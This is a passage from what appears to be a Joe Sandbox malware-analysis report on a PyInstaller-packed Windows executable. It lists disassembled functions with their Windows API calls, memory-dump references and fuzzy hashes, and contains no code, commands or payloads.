Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: 714d68a3b1f627837104b0eeca460a53cc4737b17a2adef9702c5448021356c5
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: C641DB22D1878283E398ABA09550379B761FB947A4F508334E67C17AD1DF7CE4E087A1

Function 00007FF7F3DD20C0 Relevance: 6.1, APIs: 4, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EndDialog.USER32 ref: 00007FF7F3DD20F4
SetWindowLongPtrW.USER32 ref: 00007FF7F3DD2116
GetWindowLongPtrW.USER32 ref: 00007FF7F3DD2140
InvalidateRect.USER32 ref: 00007FF7F3DD2160

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 8dc9915a568aecbff456bd31e0ccc7e5903359a763709003c2c4f3c359694f84
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 40118621A1C54682F7D4A7F9F684279A351EB84784FC88030DE691BBDDCD2DD5D98250

Function 00007FF7F3DDCC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F3DDCE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7F3DDCE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7F3DDCC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF7F3DDCCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7F3DDCD21

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 2d1483e0e7626e00bd2ea0e0d71504a7b278995b90a41101671c79cd4546b98d
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 4E314E20E0914341FFD4BBF598513B9B6819F41788FC44134EA2E6F2DBDE2CA44A82F1

Function 00007FF7F3DE013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE0180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE0277

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: 6165f8212c5dfa928c3ec2d0f3d1e5d033899bd9e9cf81c847d43f4ef5a5fe5e
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: E251FC21B0924186E7ACBAE7940067AE991BF44BA4F884734DD7D6F7C5CE3CD481C6B2

Function 00007FF7F3DEC134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7F3DEC2CD), ref: 00007FF7F3DEC180
GetLastError.KERNEL32(?,?,?,?,?,00007FF7F3DEC2CD), ref: 00007FF7F3DEC18A

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 5c76688e600b584057507513bfef81433e2cd7577ee3d0ae3c97f81b026e4a56
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 8B110122B08B8281DBA4AB65A840169F761AB45FF0F944331EE7D1F7E8CE7CD0948781

Function 00007FF7F3DEAB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF7F3DEA9D5,?,?,00000000,00007FF7F3DEAA8A), ref: 00007FF7F3DEABC6
GetLastError.KERNEL32(?,?,?,00007FF7F3DEA9D5,?,?,00000000,00007FF7F3DEAA8A), ref: 00007FF7F3DEABD0

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: 9f08c8840a6c9606848a49971f907b8bca6f74ac38dad4e15623bbf5e44a626c
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: 0E21F610B1869341FBDD77E19480379AA929F84BA0F844339E93E6F7C1CE6CA4C143A2

Function 00007FF7F3DEBEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DEBED4

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: 6b70df8f31d8af1651971ab991e3c8b8c6c7454f081e529a6d60c38adaf927b3
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: 8D41DC3291D24147EBBCABA5A540179FB60EB55B40F500331DAAE5B6D1CF2DF482CBB2

Function 00007FF7F3DD7F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7F3DD803A

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 4900000118834b7d6e4087b4962dc8428ce36fa7a7de64a54251ee196edfec95
Instruction ID: efa39872125dee99157335fe45bcaf478e737cba8b045686d1e1c1bdc4d491cf
Opcode Fuzzy Hash: 4900000118834b7d6e4087b4962dc8428ce36fa7a7de64a54251ee196edfec95
Instruction Fuzzy Hash: 3821A021B1875246EB95BAA278047BAE651BF45BC4FCC4430EE2D2F7C6CE7DE051C291

Function 00007FF7F3DEB93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DEB9C2

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction ID: f25f6201f0aba044079576883f04893202c440ab90d302f24165cf27d36e02d5
Opcode Fuzzy Hash: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction Fuzzy Hash: 0F317462E1D51285E7997B95884137DAE60AF40B90FC10335DD7D2B3D2CEBCB48187B2

Function 00007FF7F3DE5F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE5EF9

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: b58d7c0d78d1c6126c9d7c1a35204663b86478a60ec7d8633fbadbe7675dc44c
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 5911A421A1C64681EBA8BF91941017DEB61AF85FC0FC44231EA5C6FAD6CF3CE48047A2

Function 00007FF7F3DF6354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF6377

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 14259911fba10b205ab8575d644cddd9fc2360b8aaefc027a9b3d251bded4283
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 1121D732A0CA4286DBA5AF78D480379B6A0FB84B54F984234E77D5BAD9DF3DD4018B50

Function 00007FF7F3DE03BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE0410

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: c9f0d628ee82bd35dae614c88d92064c933dfc9787066245639ea2bcdb687a73
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 5D01A522A0874640E788EFA39900069EA95BF85FE0F884731DE7C2BBD6CE3CD4818351

Function 00007FF7F3DD8E80 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F3DD9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7F3DD45F4,00000000,00007FF7F3DD1985), ref: 00007FF7F3DD93C9

LoadLibraryExW.KERNELBASE(?,00007FF7F3DD6476,?,00007FF7F3DD336E), ref: 00007FF7F3DD8EA2

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction ID: 9fc1e44ba17649362d64e9a2975b989f7e30fda40dfd432bea0d1264e3c36b2b
Opcode Fuzzy Hash: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction Fuzzy Hash: 12D0CD01F3514542EB84B7B7754663591515F89FC0FC8C035EE2D07B89DC3CC0514700

Function 00007FF7F3DED5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7F3DE0C90,?,?,?,00007FF7F3DE22FA,?,?,?,?,?,00007FF7F3DE3AE9), ref: 00007FF7F3DED63A

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 4f944dcf989c4b4655febcb2b889ee8b29304b54bc750c377853fe1727b1abd1
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: A5F0FE10F0924B49FFD977F1584177999905F947A4F880734DD3E6E2C5DD6CA4C086B2

Non-executed Functions

Function 00007FF7F3DD89E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F3DD9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7F3DD45F4,00000000,00007FF7F3DD1985), ref: 00007FF7F3DD93C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8A56

Part of subcall function 00007FF7F3DEA47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DEA490

Part of subcall function 00007FF7F3DE871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE8783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8AE6
CreateProcessW.KERNEL32 ref: 00007FF7F3DD8B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8B28

Part of subcall function 00007FF7F3DD2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2C9E
Part of subcall function 00007FF7F3DD2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2D63
Part of subcall function 00007FF7F3DD2C50: MessageBoxW.USER32 ref: 00007FF7F3DD2D99

RegisterClassW.USER32 ref: 00007FF7F3DD8B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8B8B
CreateWindowExW.USER32 ref: 00007FF7F3DD8BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8C15
PeekMessageW.USER32 ref: 00007FF7F3DD8C39
TranslateMessage.USER32 ref: 00007FF7F3DD8C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8C51
PeekMessageW.USER32 ref: 00007FF7F3DD8C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8E04
GetExitCodeProcess.KERNEL32 ref: 00007FF7F3DD8E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF7F3DD3F77), ref: 00007FF7F3DD8E2F

Strings

Failed to create child process!, xrefs: 00007FF7F3DD8B30
CreateProcessW, xrefs: 00007FF7F3DD8B37
PyInstallerOnefileHiddenWindow, xrefs: 00007FF7F3DD8B54
PyInstaller Onefile Hidden Window, xrefs: 00007FF7F3DD8B95

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: a8d80dfe3c9e3fe2b945a64a1ebc6c5d45b083e293a6540627b65f3584598d47
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 0CD18732A09A8286E790AFB4E8942A9B764FF44758F800235DE7D6B7D8DF3CD145C790

Function 00007FF7F3DD83C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD842B
RemoveDirectoryW.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD84AE
DeleteFileW.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD84CD
FindNextFileW.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD84DB
FindClose.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD84EC
RemoveDirectoryW.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD84F5

Strings

%s\*, xrefs: 00007FF7F3DD83F2

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: d104ce573da2afe3cc8f65e3ca4dda28ce192aa84e5df8c9beee24b0e23e353d
